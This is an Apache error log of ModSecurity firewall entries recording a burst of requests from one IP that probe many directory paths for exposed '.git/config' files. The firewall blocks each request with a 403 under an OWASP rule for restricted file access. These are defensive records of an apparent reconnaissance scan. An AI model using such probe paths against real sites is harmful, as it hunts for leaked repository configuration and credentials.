[Wed Apr 03 09:03:55.476089 2024] [:error] [pid 2230841] [client 91.215.85.29:53552] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkgAAAAs&quot;]
[Wed Apr 03 09:03:55.476114 2024] [:error] [pid 2228853] [client 91.215.85.29:53526] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeQAAAAU&quot;]
[Wed Apr 03 09:03:55.476565 2024] [:error] [pid 2228853] [client 91.215.85.29:53526] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeQAAAAU&quot;]
[Wed Apr 03 09:03:55.476695 2024] [:error] [pid 2230841] [client 91.215.85.29:53552] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkgAAAAs&quot;]
[Wed Apr 03 09:03:55.477137 2024] [:error] [pid 2230841] [client 91.215.85.29:53552] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkgAAAAs&quot;]
[Wed Apr 03 09:03:55.497683 2024] [:error] [pid 2228852] [client 91.215.85.29:53568] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSywAAAAQ&quot;]
[Wed Apr 03 09:03:55.498315 2024] [:error] [pid 2228852] [client 91.215.85.29:53568] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSywAAAAQ&quot;]
[Wed Apr 03 09:03:55.498737 2024] [:error] [pid 2228852] [client 91.215.85.29:53568] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSywAAAAQ&quot;]
[Wed Apr 03 09:03:55.501181 2024] [:error] [pid 2228849] [client 91.215.85.29:53554] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJQAAAAE&quot;]
[Wed Apr 03 09:03:55.501487 2024] [:error] [pid 2230842] [client 91.215.85.29:53542] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWDAAAAAw&quot;]
[Wed Apr 03 09:03:55.501889 2024] [:error] [pid 2230842] [client 91.215.85.29:53542] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWDAAAAAw&quot;]
[Wed Apr 03 09:03:55.501934 2024] [:error] [pid 2228849] [client 91.215.85.29:53554] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJQAAAAE&quot;]
[Wed Apr 03 09:03:55.502170 2024] [:error] [pid 2230842] [client 91.215.85.29:53542] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWDAAAAAw&quot;]
[Wed Apr 03 09:03:55.502390 2024] [:error] [pid 2228849] [client 91.215.85.29:53554] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJQAAAAE&quot;]
[Wed Apr 03 09:03:55.503462 2024] [:error] [pid 2234703] [client 91.215.85.29:53584] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCwAAAAM&quot;]
[Wed Apr 03 09:03:55.503801 2024] [:error] [pid 2234703] [client 91.215.85.29:53584] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCwAAAAM&quot;]
[Wed Apr 03 09:03:55.504083 2024] [:error] [pid 2234703] [client 91.215.85.29:53584] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCwAAAAM&quot;]
[Wed Apr 03 09:03:55.514188 2024] [:error] [pid 2228850] [client 91.215.85.29:53580] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHwAAAAI&quot;]
[Wed Apr 03 09:03:55.514403 2024] [:error] [pid 2228850] [client 91.215.85.29:53580] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHwAAAAI&quot;]
[Wed Apr 03 09:03:55.514577 2024] [:error] [pid 2228850] [client 91.215.85.29:53580] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHwAAAAI&quot;]
[Wed Apr 03 09:03:55.527301 2024] [:error] [pid 2230835] [client 91.215.85.29:53596] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXQAAAAY&quot;]
[Wed Apr 03 09:03:55.527590 2024] [:error] [pid 2230835] [client 91.215.85.29:53596] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXQAAAAY&quot;]
[Wed Apr 03 09:03:55.527815 2024] [:error] [pid 2230835] [client 91.215.85.29:53596] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXQAAAAY&quot;]
[Wed Apr 03 09:03:55.535096 2024] [:error] [pid 2230843] [client 91.215.85.29:53608] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhCAAAAA0&quot;]
[Wed Apr 03 09:03:55.535423 2024] [:error] [pid 2230843] [client 91.215.85.29:53608] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhCAAAAA0&quot;]
[Wed Apr 03 09:03:55.535702 2024] [:error] [pid 2230843] [client 91.215.85.29:53608] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhCAAAAA0&quot;]
[Wed Apr 03 09:03:55.544833 2024] [:error] [pid 2228848] [client 91.215.85.29:53612] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46gAAAAA&quot;]
[Wed Apr 03 09:03:55.545357 2024] [:error] [pid 2228848] [client 91.215.85.29:53612] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46gAAAAA&quot;]
[Wed Apr 03 09:03:55.545795 2024] [:error] [pid 2228848] [client 91.215.85.29:53612] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46gAAAAA&quot;]
[Wed Apr 03 09:03:55.549764 2024] [:error] [pid 2230840] [client 91.215.85.29:53624] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQgAAAAo&quot;]
[Wed Apr 03 09:03:55.550327 2024] [:error] [pid 2230840] [client 91.215.85.29:53624] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQgAAAAo&quot;]
[Wed Apr 03 09:03:55.550710 2024] [:error] [pid 2230840] [client 91.215.85.29:53624] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQgAAAAo&quot;]
[Wed Apr 03 09:03:55.577604 2024] [:error] [pid 2230841] [client 91.215.85.29:53622] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkwAAAAs&quot;]
